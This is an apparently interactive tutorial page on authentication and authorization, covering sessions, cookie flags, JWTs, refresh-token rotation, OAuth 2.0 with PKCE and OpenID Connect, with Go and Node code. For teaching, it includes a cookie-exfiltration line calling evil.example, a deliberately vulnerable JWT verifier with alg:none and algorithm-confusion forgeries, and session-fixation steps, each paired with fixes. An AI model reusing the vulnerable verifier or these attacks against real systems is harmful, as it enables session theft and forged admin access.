AuthN vs AuthZ
Who are you, and what may you do? Password logins, sessions and cookie flags, JWTs and how they break, OAuth 2.0 and OpenID Connect by flow, passkeys, and authorization models — with runnable Go and Node code and attacks you can try safely in the browser.
The 30-second version
Here's a real-world bug, simplified. An invoicing app has a login page and an API. You log in as Ada and open your invoice at /invoices/inv_1001. Out of curiosity you change the address to inv_1002… and see Bob's invoice, for $990.
The login worked perfectly. The server knew exactly who you were. It just never asked whether Ada may look at Bob's invoice. Try it:
Two questions, two status codes
Every request to a protected API has to answer both questions, in this order:
| Question | Fails when… | HTTP answer |
|---|---|---|
| AuthN — who are you? | No credentials, or bad/expired ones | 401 Unauthorized (the name is old; it really means unauthenticated) |
| AuthZ — may you do this to this object? | You're known, but it's not allowed | 403 Forbidden — or 404 Not Found, if even admitting the object exists would leak something |
That "to this object" part is where the money is. The invoice bug has a name: BOLA, broken object-level authorization (older name: IDOR, insecure direct object reference). It is #1 on the OWASP API Security Top 10 (a nonprofit's list of the most common API flaws) (both the 2019 and 2023 editions), because a login check feels like "security done".
What this page covers
- Proving who you are (§02–§03): a password login in Go and Node, then sessions and the cookie flags that protect them.
- Tokens (§04–§06): what a JWT is, how to verify one without getting fooled, and why you can't easily cancel one.
- Logging in with someone else's account (§07–§08): OAuth 2.0 and OpenID Connect, one flow at a time.
- Stronger proof (§09): MFA and passkeys.
- Deciding what's allowed (§10): roles, attributes, relationships — and where the check goes in your code.
- Production (§11–§12): brute force, password resets, gateways, service identity, and a gallery of real mistakes.
A password login, end to end
The web's protocol, HTTP, is stateless: each request arrives on its own, and the server doesn't automatically remember the previous one. So after Ada proves who she is, the server has to give her something to carry — the hotel key card. Step through it first, then we'll read the real code:
1func login(w http.ResponseWriter, r *http.Request) {2 email, password := r.FormValue("email"), r.FormValue("password")3 u, found := users[email] // look up the account4 hash := u.Hash5 if !found {6 hash = dummyHash // same slow work for unknown emails7 }8 err := bcrypt.CompareHashAndPassword(hash, []byte(password))9 if err != nil || !found {10 http.Error(w, "wrong email or password", 401)11 return12 }13 id := rand.Text() // 128 random bits14 sessions[id] = session{u.ID, time.Now().Add(8 * time.Hour)}15 http.SetCookie(w, &http.Cookie{Name: "__Host-sid", Value: id /* + flags, §03 */})16 w.WriteHeader(204)17}1819func me(w http.ResponseWriter, r *http.Request) {20 c, err := r.Cookie("__Host-sid") // the browser sent it back21 if err != nil { http.Error(w, "not logged in", 401); return }22 s, ok := sessions[c.Value] // whose session is this?23 if !ok || time.Now().After(s.Expires) { http.Error(w, "not logged in", 401); return }24 fmt.Fprintln(w, "hello,", s.UserID)25}
password=correct horse
Three things in that flow matter more than the rest:
- The password is checked against a hash. The database stores a slow, salted password hash (bcrypt in Go, scrypt in Node — both fine). How those work is Crypto Basics' job; here we only call
compare. - The ticket is random. A session ID must come from a secure random generator. If it were
user_1, or a counter, anyone could type someone else's. - The server keeps the meaning. The cookie carries only the random ID. Who it belongs to lives in the server's session store, so the browser can't edit "who am I".
The whole server
Here's a complete, runnable login server. It has two routes: POST /login and GET /me ("who am I?").
package main
import (
"crypto/rand"
"log"
"net/http"
"sync"
"time"
"golang.org/x/crypto/bcrypt"
)
type user struct {
ID string
Hash []byte // bcrypt hash of the password, never the password itself
}
type session struct {
UserID string
Expires time.Time
}
var (
users = map[string]user{} // email → user (a real app uses a database)
mu sync.Mutex
sessions = map[string]session{} // session ID → whose session it is
)
// A hash of a random password, compared when the email is unknown so that
// "no such user" takes as long as "wrong password" (more in §11).
var dummyHash, _ = bcrypt.GenerateFromPassword([]byte(rand.Text()), bcrypt.DefaultCost)
func login(w http.ResponseWriter, r *http.Request) {
email, password := r.FormValue("email"), r.FormValue("password")
u, found := users[email]
hash := u.Hash
if !found {
hash = dummyHash
}
// ① AuthN: does the password match the stored hash?
if err := bcrypt.CompareHashAndPassword(hash, []byte(password)); err != nil || !found {
http.Error(w, "wrong email or password", http.StatusUnauthorized) // same message either way
return
}
// ② Remember the result: a random, unguessable session ID.
id := rand.Text() // Go 1.24+: 26 random characters (128 bits) from crypto/rand
mu.Lock()
sessions[id] = session{UserID: u.ID, Expires: time.Now().Add(8 * time.Hour)}
mu.Unlock()
// ③ Hand the browser its "key card".
http.SetCookie(w, &http.Cookie{
Name: "__Host-sid",
Value: id,
Path: "/",
MaxAge: 8 * 60 * 60, // seconds
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteLaxMode,
})
w.WriteHeader(http.StatusNoContent) // 204: success, no body
}
func me(w http.ResponseWriter, r *http.Request) {
c, err := r.Cookie("__Host-sid")
if err != nil {
http.Error(w, "not logged in", http.StatusUnauthorized)
return
}
mu.Lock()
s, ok := sessions[c.Value]
mu.Unlock()
if !ok || time.Now().After(s.Expires) {
http.Error(w, "not logged in", http.StatusUnauthorized)
return
}
w.Write([]byte("hello, " + s.UserID + "\n"))
}
func main() {
h, _ := bcrypt.GenerateFromPassword([]byte("correct horse"), bcrypt.DefaultCost)
users["ada@example.com"] = user{ID: "u_1", Hash: h}
http.HandleFunc("POST /login", login) // Go 1.22+: method in the pattern
http.HandleFunc("GET /me", me)
log.Fatal(http.ListenAndServe("localhost:8080", nil))
}Try it with curl
Start either server and log in with curl. -i prints the response headers; -c jar.txt saves cookies to a file and -b jar.txt sends them back, like a browser would. Real output from the Go server:
$ curl -i -X POST localhost:8080/login -d email=ada@example.com -d password=wrong
HTTP/1.1 401 Unauthorized
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Content-Length: 24
wrong email or password
$ curl -i -X POST localhost:8080/login -d email=ada@example.com -d 'password=correct horse' -c jar.txt
HTTP/1.1 204 No Content
Set-Cookie: __Host-sid=ODABI2O7QY3CLGI3G5T3X446EQ; Path=/; Max-Age=28800; HttpOnly; Secure; SameSite=Lax
$ curl -i localhost:8080/me -b jar.txt
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
hello, u_1
$ curl -i localhost:8080/me
HTTP/1.1 401 Unauthorized
not logged in(Date headers trimmed. curl sends a Secure cookie to plain http://localhost because it treats localhost as a trusted, local address; recent Chrome and Firefox versions do the same. On any other host, Secure means HTTPS only.)
What's still missing
This server proves who Ada is, but it would fail in production in a few ways the next sections fix:
- The cookie flags (
HttpOnly,Secure,SameSite,__Host-) were copied without explanation — §03 says what each one blocks. - Sessions live in one process's memory: a restart logs everyone out, and a second server can't see them — §03 moves them to Redis.
- Nothing stops a bot from guessing passwords all day — §11.
Sessions and cookie flags
In §02 the server stored sessions in a Go map. That works on a laptop and fails in production twice over: restarting the process logs everyone out, and with two servers behind a Load balancer, a login on server A is unknown to server B. So the session store moves out of the process.
A shared session store: Redis
Redis is an in-memory key–value server: a fast, shared map every app server can reach. It can also delete a key by itself after a timeout (a TTL), which is exactly what a session needs.
import (
"context"
"crypto/rand"
"errors"
"time"
"github.com/redis/go-redis/v9"
)
type Store struct{ rdb *redis.Client }
const ttl = 8 * time.Hour
// Create stores userID under a fresh random ID that Redis deletes after ttl.
func (s Store) Create(ctx context.Context, userID string) (string, error) {
id := rand.Text()
return id, s.rdb.Set(ctx, "sess:"+id, userID, ttl).Err()
}
// Lookup returns the user for a session ID, or "" if it doesn't exist (or expired).
func (s Store) Lookup(ctx context.Context, id string) (string, error) {
userID, err := s.rdb.Get(ctx, "sess:"+id).Result()
if errors.Is(err, redis.Nil) { // redis.Nil = "no such key"
return "", nil
}
return userID, err
}
// Delete is logout: the cookie may live on, but it now points at nothing.
func (s Store) Delete(ctx context.Context, id string) error {
return s.rdb.Del(ctx, "sess:"+id).Err()
}Run against a local Redis, Create then Lookup gives "u_1", Redis reports a TTL of 8h0m0s (28800 seconds in Node), and after Delete the lookup returns "" (null in Node). That last line is the big advantage of sessions over the tokens in §04: logging someone out is one delete, and it works instantly on every server.
The cookie flags, one by one
The cookie in §02 looked like this:
Set-Cookie: __Host-sid=ODABI2O7QY3CLGI3G5T3X446EQ; Path=/; Max-Age=28800; HttpOnly; Secure; SameSite=LaxEvery part after the value is an instruction to the browser:
| Flag | Tells the browser | Stops |
|---|---|---|
| HttpOnly | Don't show this cookie to JavaScript (document.cookie) | An injected script (XSS, see OWASP Top 10) reading the session ID and sending it away |
| Secure | Only send it over HTTPS | Someone on the network reading it from a plain-HTTP request |
| SameSite=Lax | Don't attach it to requests other sites start, except normal link clicks | Most CSRF: another site making the browser send a logged-in POST |
Max-Age=28800 | Delete it after 8 hours | A cookie living for months on a shared computer |
Path=/ | Send it for every path on this host | Nothing, really — Path is for organisation, not security |
__Host- prefix | Only accept it if Secure, Path=/ and no Domain | A sibling subdomain planting or overwriting it |
Don't take the table's word for it — toggle each flag and watch the six scenarios:
<script>. It runs fetch("https://evil.example/?c=" + document.cookie) in Ada's browser.http://shop.example (no s). Before the redirect to HTTPS, that first request crosses the network in plain text.<form method=POST action=https://shop.example/transfer>.https://shop.example/orders from another site. Is she still logged in when she lands?blog.shop.example sets sid=KNOWN_TO_ATTACKER; Domain=shop.example, so it overrides or sits beside the real one (it sets up the fixation attack below).Session fixation: why login must issue a new ID
There's one attack the flags alone don't stop. Instead of stealing Ada's session ID, the attacker gives her one they already know, then waits for her to log in with it. This is session fixation:
The fix is one rule: whenever the privilege level changes — login, logout, switching to admin, a password change — throw away the old session ID and issue a new one. In code:
// Call after the password check succeeds.
func startSession(w http.ResponseWriter, r *http.Request, store Store, userID string) error {
if old, err := r.Cookie("__Host-sid"); err == nil {
store.Delete(r.Context(), old.Value) // ← forget any ID from before login
}
id, err := store.Create(r.Context(), userID) // ← always a brand-new ID
if err != nil {
return err
}
http.SetCookie(w, &http.Cookie{Name: "__Host-sid", Value: id, Path: "/", MaxAge: 8 * 60 * 60,
HttpOnly: true, Secure: true, SameSite: http.SameSiteLaxMode})
return nil
}
func logout(w http.ResponseWriter, r *http.Request, store Store) {
if c, err := r.Cookie("__Host-sid"); err == nil {
store.Delete(r.Context(), c.Value) // ① server side: the ID now opens nothing
}
http.SetCookie(w, &http.Cookie{Name: "__Host-sid", Value: "", Path: "/", MaxAge: -1, // ② browser side
HttpOnly: true, Secure: true, SameSite: http.SameSiteLaxMode})
w.WriteHeader(http.StatusNoContent)
}MaxAge: -1 in Go means "delete now"; it's written to the header as Max-Age=0:
Set-Cookie: __Host-sid=; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=LaxJWTs: a signed note
A session ID (§02–§03) is a meaningless number: the server must look it up to learn who you are. A JWT (JSON Web Token, said "jot") flips that around. The token itself carries the facts — "this is user u_1, valid until 01:33" — plus a signature proving the auth server wrote them. Any server that can check the signature can trust the facts without asking anyone.
Three parts, two dots
A JWT is three base64url strings joined by dots: header.payload.signature. Base64url is just a way to write bytes as URL-safe text; decoding it needs no key. Here's a real one, made and checked in your browser:
— not valid base64url JSON —
— not valid base64url JSON —
dev-only-secret-at-least-32-bytes-long!! — pretend you don't know it)- Header — how the token was signed:
{"alg":"HS256","typ":"JWT"}.algis the signing algorithm. - Payload — the facts, called claims.
- Signature — computed over
header + "." + payloadwith a key. Change one character of either, and the signature no longer matches.
The registered claim names are deliberately short:
| Claim | Means | Example |
|---|---|---|
sub | Subject: who this is about | "u_1" |
iss | Issuer: who made the token | "https://auth.example.com" |
aud | Audience: who should accept it | "invoices-api" |
exp | Expires at (Unix seconds) | 1793381633 |
nbf | Not before: not valid until | 1793380733 |
iat | Issued at | 1793380733 |
jti | JWT ID: a unique ID for this token | "9f1c…" |
Anything else (role, tenant, scope) is your own claim. The times are Unix timestamps: seconds since 1 Jan 1970 UTC.
Signing: one shared secret, or a key pair
There are two families of alg, and the choice decides who can make tokens:
| HS256 (HMAC) | RS256 / ES256 / EdDSA (signatures) | |
|---|---|---|
| Key | One shared Secret | A private key + a public key (public-key crypto) |
| Who can create tokens | Everyone who has the secret | Only the holder of the private key |
| Who can verify | Everyone who has the secret | Anyone with the public key |
| Use when | One service issues and checks its own tokens | An auth server issues, many services verify |
The row to stare at is the second one. With HS256, every service that can check a token can also forge one, because it's the same secret (HMAC — Crypto Basics explains it). Give that secret to ten microservices and a leak from any one of them lets an attacker mint admin tokens. With a Digital signature scheme, the auth server keeps the private key; the ten services only get the public key, which can verify but not sign.
EdDSA (Ed25519) is the modern pick: short keys, short signatures, fast, and hard to misuse. RS256 is the most widely supported (every provider and library). Both are fine.
Issuing and verifying, in code
Go uses github.com/golang-jwt/jwt/v5; Node uses jose (v6), which also runs in browsers, Deno and edge runtimes.
import (
"time"
"github.com/golang-jwt/jwt/v5"
)
var secret = []byte("dev-only-secret-at-least-32-bytes-long!!") // real apps: load from a secrets manager
func issue(userID, role string) (string, error) {
claims := jwt.MapClaims{
"sub": userID, // who
"role": role, // your own claim
"iss": "https://auth.example.com", // who issued it
"aud": "invoices-api", // who it's for
"iat": time.Now().Unix(), // issued at
"exp": time.Now().Add(15 * time.Minute).Unix(), // expires
}
return jwt.NewWithClaims(jwt.SigningMethodHS256, claims).SignedString(secret)
}
func verify(tokenString string) (jwt.MapClaims, error) {
tok, err := jwt.Parse(tokenString,
func(t *jwt.Token) (any, error) { return secret, nil }, // which key to check with
jwt.WithValidMethods([]string{"HS256"}), // ← never let the token pick
jwt.WithIssuer("https://auth.example.com"),
jwt.WithAudience("invoices-api"),
jwt.WithExpirationRequired(),
jwt.WithLeeway(30*time.Second), // tolerate small clock differences
)
if err != nil {
return nil, err
}
return tok.Claims.(jwt.MapClaims), nil
}Real output (Go; jose's header is just {"alg":"HS256"} with no typ, and its claims come in a different order, so the Node token looks different but checks the same way):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJpbnZvaWNlcy1hcGkiLCJleHAiOjE3OTMzODE2MzMsImlhdCI6MTc5MzM4MDczMywiaXNzIjoiaHR0cHM6Ly9hdXRoLmV4YW1wbGUuY29tIiwicm9sZSI6InVzZXIiLCJzdWIiOiJ1XzEifQ.G5DSXh33bPhKLyKhUMvj2UCumE0yk-YoisJ192hrodo
u_1 user <nil>With a key pair: EdDSA and a key ID
Switching to signatures changes two lines: sign with the private key, verify with the public one. Add a kid (key ID) header so verifiers know which key to use when you rotate keys:
pub, priv, _ := ed25519.GenerateKey(rand.Reader) // the auth server keeps priv secret
tok := jwt.NewWithClaims(jwt.SigningMethodEdDSA, jwt.MapClaims{
"sub": "u_1", "exp": time.Now().Add(15 * time.Minute).Unix(),
})
tok.Header["kid"] = "2026-10" // which key signed this
signed, err := tok.SignedString(priv)
if err != nil {
return err
}
// Any service holding only the PUBLIC key can verify:
parsed, err := jwt.Parse(signed, func(t *jwt.Token) (any, error) { return pub, nil },
jwt.WithValidMethods([]string{"EdDSA"}))
fmt.Println(parsed.Claims.(jwt.MapClaims)["sub"], err) // u_1 <nil>How do the services get the public key? The auth server publishes its current keys as a JWKS (JSON Web Key Set) at a well-known URL. Verifiers download it, cache it, and pick the key whose kid matches the token. Real Ed25519 public key, as a JWK:
{ "kty": "OKP", "crv": "Ed25519", "x": "aadiOpddY9l5jk57-bkI4dmH2RnbNxTs3-uEkmvZW0w", "kid": "2026-10" }§08 uses exactly this to verify Google-style ID tokens.
Sending a JWT
APIs expect it in the Authorization header as a bearer token:
GET /invoices/inv_1001 HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOi…"Bearer" means whoever holds it, gets in — like cash. There's no extra proof that the sender is the person it was issued to. So a JWT in a log file, a URL, or a browser's localStorage (readable by any injected script) is a stolen identity until it expires. That's why the next two sections are about verifying tokens carefully and keeping their lifetime short.
Verifying a JWT without getting fooled
Every field in a JWT, including the header that says how to check it, was typed by whoever sent it. A verifier that lets the token steer its own verification can be talked into anything. Pick an attack and watch four verifiers deal with it:
Only the strict verifier gets all seven right. The other three each fail in a way that has shipped in real products.
Bug 1: decoding instead of verifying
Every JWT library has a "just decode it" function, because it's useful for debugging. Used in a request handler, it's a full authentication bypass: the server reads "role": "admin" from a token anyone can write.
// ✕ VULNERABLE: ParseUnverified does exactly what its name says.
func roleOfLeaky(raw string) any {
tok, _, err := jwt.NewParser().ParseUnverified(raw, jwt.MapClaims{})
if err != nil {
return nil
}
return tok.Claims.(jwt.MapClaims)["role"] // attacker-controlled
}
// ✓ FIXED: verify first (verify() from §04), then read claims.
func roleOf(raw string) (any, error) {
claims, err := verify(raw)
if err != nil {
return nil, err // the handler answers 401
}
return claims["role"], nil
}Real output of editing the role and keeping the old signature (the "role → admin" button in §04):
decodeJwt: admin ← accepted the forgery
jwtVerify: ERR_JWS_SIGNATURE_VERIFICATION_FAILED signature verification failed
jwt.Parse: token signature is invalid: signature is invalidBug 2: letting the token choose the algorithm
The JWT standard lists alg: "none" — an unsecured token with an empty signature — and lets the header name any algorithm. A verifier written as "read alg, then check that way" can be beaten twice. Here's the kind of hand-written verifier that appears in tutorials. Don't use it — it's here to be attacked:
// ✕ VULNERABLE: the token decides how it is checked.
function verifyNaive(token, key) {
const [h, p, s] = token.split(".");
const { alg } = unb64(h);
if (alg === "none") return unb64(p); // ← attack 1
if (alg === "HS256") {
const mac = createHmac("sha256", key).update(`${h}.${p}`).digest("base64url");
if (mac === s) return unb64(p); // ← attack 2
}
if (alg === "RS256") {
if (createVerify("RSA-SHA256").update(`${h}.${p}`).verify(key, s, "base64url")) return unb64(p);
}
throw new Error("bad token");
}alg: none. The attacker writes{"alg":"none"}, any payload, and an empty signature. The firstifreturns the payload unchecked.- Algorithm confusion. This server uses RS256, so
keyis its RSA public key — which, being public, the attacker has too. The attacker setsalg: "HS256"and HMACs the forged token using the public key's text as the secret — the key in PEM form, which is just text. The verifier, told "HS256", runs HMAC withkey… the same public key. Signatures match.
Real output, attacking it with a fresh RSA key pair, then attacking jose with the algorithm pinned:
naive none: { sub: 'u_666', role: 'admin' }
naive confused: { sub: 'u_666', role: 'admin' }
jose: ERR_JOSE_ALG_NOT_ALLOWED "alg" (Algorithm) Header Parameter value not allowed
jose: ERR_JOSE_ALG_NOT_ALLOWED "alg" (Algorithm) Header Parameter value not allowedThe fix is an allow-list you write: algorithms: ["RS256"] in jose, jwt.WithValidMethods([]string{"RS256"}) in Go. The verifier then rejects any other alg before looking at the signature.
Bug 3: checking the signature but not the claims
A valid signature only says "our auth server wrote this". It doesn't say "…for us" or "…recently". Each claim check closes a different hole:
| Check | Without it |
|---|---|
exp required, and in the future | A token from a 2-year-old log file still works. Make it required: a token with no exp never expires. |
nbf not in the future | A token minted for later works now. |
iss = your auth server | If you trust several issuers (prod and staging, two tenants), a token from the wrong one gets in. |
aud includes this service | A token for billing-api works on invoices-api. One compromised service's tokens unlock all the others. |
typ (or a claim naming the kind of token) | If one issuer mints several kinds of JWT — ID tokens, access tokens, refresh JWTs — one kind gets accepted where another is expected. aud catches most of this, not all; RFC 8725 (JWT best practices) recommends explicit typing such as typ: at+jwt. |
| Signature key chosen by you | Some headers (jku, x5u) contain a URL to "fetch the key from". Never follow them; use your configured JWKS URL, and only use kid to choose among keys you already trust. |
The checklist
["RS256"] or ["EdDSA"]. Never none.kid. Never from a URL in the token.role, scope, tenant are inputs to the AuthZ check (§10), not a replacement for it.Revocation, refresh tokens, and sessions vs JWTs
A JWT's big selling point — any server can check it without a lookup — is also its big weakness. Nothing is looked up, so there's nothing to delete. If Ada logs out, changes her password, or gets fired, every JWT she already holds keeps working until its exp. With a session (§03), the same events are one DEL in Redis.
There are three ways out, and real systems mix them:
- Short lifetimes. An access token that lives 5–15 minutes limits the damage window to 5–15 minutes.
- A denylist. Give each token a
jtiand keep a list of cancelled ones. It works, but every API must check that list on every request — the shared lookup JWTs were supposed to avoid. It's fine as an emergency brake (a small Redis set, holding each ID only until itsexp). - Refresh tokens, below — the standard answer.
Two tokens with two jobs
| Access token | Refresh token | |
|---|---|---|
| Lifetime | Minutes (5–15) | Days (7–30), often sliding |
| Sent to | Every API call | Only the auth server's /token endpoint |
| Format | Often a JWT — checked without a lookup | A random string, stored (hashed) in the auth server's database |
| Can be revoked? | No (wait it out) | Yes: delete the row |
The app uses the access token until it expires, then quietly trades the refresh token for a new one. Because that trade goes through the auth server, the auth server gets a say every 15 minutes: a cancelled login stops working at the next refresh at the latest.
Rotation and reuse detection
A refresh token is powerful and long-lived, so it's the thing attackers want. Two defenses make a stolen one much less useful:
- Rotation: every refresh returns a new refresh token, and the old one is marked used.
- Reuse detection: if a used token ever shows up again, two parties have copies — the real app and a thief. The server can't tell which is which, so it cancels the whole family (every token descended from that login), and both must log in again.
Play both sides:
Here's the server side. Note that the database stores a hash of each refresh token, like a password: a leaked table doesn't hand out working tokens.
type refreshRecord struct {
UserID string
Family string // every token descended from one login shares this
Used bool
Expires time.Time
}
var (
mu sync.Mutex
refreshTokens = map[string]*refreshRecord{} // sha256(token) → record (a DB table in production)
revokedFamilies = map[string]bool{}
)
func hashToken(t string) string {
sum := sha256.Sum256([]byte(t))
return hex.EncodeToString(sum[:])
}
func newRefresh(userID, family string) string {
t := rand.Text()
refreshTokens[hashToken(t)] = &refreshRecord{UserID: userID, Family: family,
Expires: time.Now().Add(30 * 24 * time.Hour)}
return t
}
// Refresh trades a refresh token for a new access token AND a new refresh token.
func Refresh(old string) (access, next string, err error) {
mu.Lock()
defer mu.Unlock()
rec, ok := refreshTokens[hashToken(old)]
if !ok || time.Now().After(rec.Expires) || revokedFamilies[rec.Family] {
return "", "", errors.New("log in again")
}
if rec.Used { // ← already traded in once: someone else has a copy
revokedFamilies[rec.Family] = true // cancel every token from this login
return "", "", errors.New("refresh token reused: log in again")
}
rec.Used = true
access, err = issue(rec.UserID, "user") // the 15-minute JWT from §04
if err != nil {
return "", "", err
}
return access, newRefresh(rec.UserID, rec.Family), nil
}Running both versions: the user's refresh succeeds; replaying the original (stolen) token gives refresh token reused: log in again; and the user's newest token then also gives log in again, because its family was revoked.
Sessions vs JWTs, honestly
| Server-side session | JWT access token (+ refresh) | |
|---|---|---|
| Logout / ban takes effect | Immediately | At next refresh (minutes) — or a denylist |
| Each request needs | A store lookup (~0.2–1 ms on Redis, same data centre — approximate) | A signature check, no network |
| Many services, many companies | Every service needs the store | Each verifies with a public key |
| Size on every request | ~30-byte cookie | Hundreds of bytes to a few KB |
| Easy to get wrong | Cookie flags (§03) | Validation (§05), storage, revocation |
For a browser app talking to its own backend, a session cookie is usually the simpler, safer choice. JWTs shine when different services or organisations must trust one issuer: microservices behind a gateway, third-party APIs, mobile apps, OAuth (§07). Many systems use both: a session cookie between the browser and its backend, JWTs from there on.
OAuth 2.0 by flow: authorization code + PKCE
Before OAuth, if a photo-printing site wanted your pictures from a photo-hosting site, it asked for your photo-site password. Then it could do everything you could — delete albums, change your email — forever, and the only way to stop it was to change your password. OAuth replaces that with a token that can do one thing, for a while, and can be cancelled on its own.
Four roles
| Role | In our example | Term |
|---|---|---|
| The user who owns the data | Ada | "resource owner" |
| The app that wants access | PrintMyPics at printer.example | client |
| The service that logs Ada in and hands out tokens | auth.photos.example | authorization server |
| The API that holds the photos | api.photos.example | resource server |
The client must be registered with the authorization server beforehand. It gets a client_id, an exact list of allowed redirect URIs, and — if it runs on a server where it can keep one — a client secret. When it asks for access, it names scopes — named permissions such as photos.read — and the user approves exactly those.
The authorization code flow, with PKCE
This is the flow to use for web apps, mobile apps and single-page apps alike. Step through it; the left panel shows the real HTTP messages:
1# ① printer.example → browser: "go ask PhotoCloud"2302 Location: https://auth.photos.example/authorize?3 response_type=code4 &client_id=printer-app5 &redirect_uri=https://printer.example/callback6 &scope=photos.read7 &state=af0ifjsldkj8 &code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM9 &code_challenge_method=S2561011# ② Ada logs in AT PhotoCloud and clicks "Allow"1213# ③ PhotoCloud → browser → printer.example14302 Location: https://printer.example/callback?15 code=SplxlOBeZQQYbYS6WxSbIA&state=af0ifjsldkj1617# ④ printer.example → PhotoCloud, server to server18POST https://auth.photos.example/token19 grant_type=authorization_code20 &code=SplxlOBeZQQYbYS6WxSbIA21 &redirect_uri=https://printer.example/callback22 &client_id=printer-app23 &code_verifier=dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk2425200 {"access_token":"eyJ…","token_type":"Bearer","expires_in":900,26 "refresh_token":"8xLOxBtZp8","scope":"photos.read"}2728# ⑤ printer.example → PhotoCloud API29GET https://api.photos.example/albums30 Authorization: Bearer eyJ…
Why the detour through a code, instead of sending the token straight back in the redirect? Because that redirect URL travels through the browser: history, extensions, logs, the Referer header. A short-lived authorization code is all that passes through there; the real tokens come back on a direct server-to-server call the browser never sees.
Two parameters protect that detour:
state— a random value tied to Ada's session, checked on the way back. It stops an attacker from feeding Ada's browser a callback they started (which would connect their PhotoCloud account to Ada's PrintMyPics account).- PKCE — the app keeps a random
code_verifiersecret and sends only its SHA-256 hash, thecode_challenge, at the start. To swap the code for tokens it must show the verifier. A thief with only the code can't. It costs a few lines. The OAuth security best-practice document (RFC 9700, "Best Current Practice for OAuth 2.0 Security") requires it for public clients — apps that can't keep a secret, like mobile apps and SPAs — and recommends it for all the others. So just always use it.
In code
Go has golang.org/x/oauth2, which builds the URL, generates the verifier and does the exchange. The JavaScript version is written out by hand so every parameter is visible; in production you'd use a library such as openid-client.
var conf = &oauth2.Config{
ClientID: "printer-app",
ClientSecret: os.Getenv("PHOTOCLOUD_CLIENT_SECRET"), // a server-side app also has a secret
RedirectURL: "https://printer.example/callback",
Scopes: []string{"photos.read"},
Endpoint: oauth2.Endpoint{
AuthURL: "https://auth.photos.example/authorize",
TokenURL: "https://auth.photos.example/token",
},
}
// ① Start: make state + PKCE verifier, remember them in this user's session, redirect.
func startImport(w http.ResponseWriter, r *http.Request) {
state, verifier := rand.Text(), oauth2.GenerateVerifier()
sess := sessionFor(r) // stand-in for your session store from §03
sess.Set("oauth_state", state)
sess.Set("oauth_verifier", verifier) // stays on the server
url := conf.AuthCodeURL(state, oauth2.S256ChallengeOption(verifier)) // sends only the hash
http.Redirect(w, r, url, http.StatusFound)
}
// ② Callback: check state, then trade the code (+ verifier) for tokens.
func callback(w http.ResponseWriter, r *http.Request) {
sess := sessionFor(r)
state, verifier := sess.Pop("oauth_state"), sess.Pop("oauth_verifier") // single use
if state == "" || r.URL.Query().Get("state") != state {
http.Error(w, "state mismatch", http.StatusBadRequest)
return
}
tok, err := conf.Exchange(r.Context(), r.URL.Query().Get("code"), oauth2.VerifierOption(verifier))
if err != nil {
http.Error(w, "PhotoCloud said no", http.StatusBadGateway)
return
}
saveTokens(sess, tok) // tok.AccessToken, tok.RefreshToken, tok.Expiry
http.Redirect(w, r, "/albums", http.StatusFound)
}Against a local test token endpoint, the thief's exchange (right code, wrong verifier) fails in both languages:
Go: oauth2: "invalid_grant" "PKCE verification failed"
Node: token endpoint: 400 {"error":"invalid_grant","error_description":"PKCE verification failed"}And you can check the hash by hand with the example values from the PKCE spec (RFC 7636): sha256("dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk") in base64url is E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM — both programs print exactly that.
Machines with no user: client credentials
A nightly billing job calling an invoices API has no Ada to click "Allow". It uses the client credentials flow: the job authenticates as itself and gets a token for itself.
import "golang.org/x/oauth2/clientcredentials"
cc := clientcredentials.Config{
ClientID: "billing-job",
ClientSecret: os.Getenv("BILLING_JOB_SECRET"),
TokenURL: "https://auth.example.com/token",
Scopes: []string{"invoices.write"},
}
client := cc.Client(ctx) // an *http.Client that fetches, caches and renews the token
resp, err := client.Get("https://invoices.example.com/api/invoices")Flows to avoid
- Implicit flow (
response_type=token): put the access token straight into the redirect URL. Leaky, no PKCE possible. RFC 9700 says clients should not use it; use code + PKCE instead. - Password grant: the app collects the user's password and sends it to the token endpoint — the very thing OAuth was invented to stop. RFC 9700 says it must not be used.
What OAuth is not
OAuth answers "may this app read Ada's photos?". It never promises to tell the app who Ada is. An access token is addressed to the API; the app isn't even supposed to read it, and it may be an opaque random string.
Using "I got an access token" as proof of login is a classic bug. A malicious app that Ada once used legitimately holds a valid access token for her. If your app accepts "here's an access token, log me in", that app can log into your app as Ada. Logging in needs a token addressed to your app, saying who logged in — which is exactly what OpenID Connect adds (§08).
OpenID Connect: “Sign in with…”
§07 ended with a gap: OAuth hands your app a key to an API, not a name. OpenID Connect (OIDC) fills it. It's the same authorization-code-plus-PKCE flow, with three additions:
- The app asks for the scope
openid(plusemail,profileif it wants them). - It sends a random
noncealong withstate. - The token response contains an extra field,
id_token— a JWT.
That's "Sign in with Google": Google is the identity provider (IdP), and your app learns who Ada is without ever handling a Google password.
ID token vs access token
| ID token | Access token | |
|---|---|---|
| Says | Who logged in, when, how | What the holder may do (scopes) |
Addressed to (aud) | Your app (aud = your client_id) | The API |
| Who reads it | Your app, once, at login | The API, on every call |
| Format | Always a JWT | Often a JWT, may be an opaque string |
| Send it to APIs? | Never | That's its job |
Here's a decoded ID token (from a local test provider; Google's look the same, with iss: "https://accounts.google.com"):
{
"iss": "http://localhost:18433",
"sub": "248289761001",
"aud": "my-client-id",
"iat": 1793380792,
"exp": 1793381092,
"nonce": "n-0S6_WzA2Mj",
"email": "ada@example.com",
"email_verified": true
}Validating an ID token
It's a JWT, so every §05 check applies — plus the nonce, which is OIDC's own:
- Signature, with a pinned algorithm (§05; the discovery document lists what the provider uses, e.g. RS256) and the provider's JWKS. Don't build the key URL yourself: every provider publishes a discovery document at
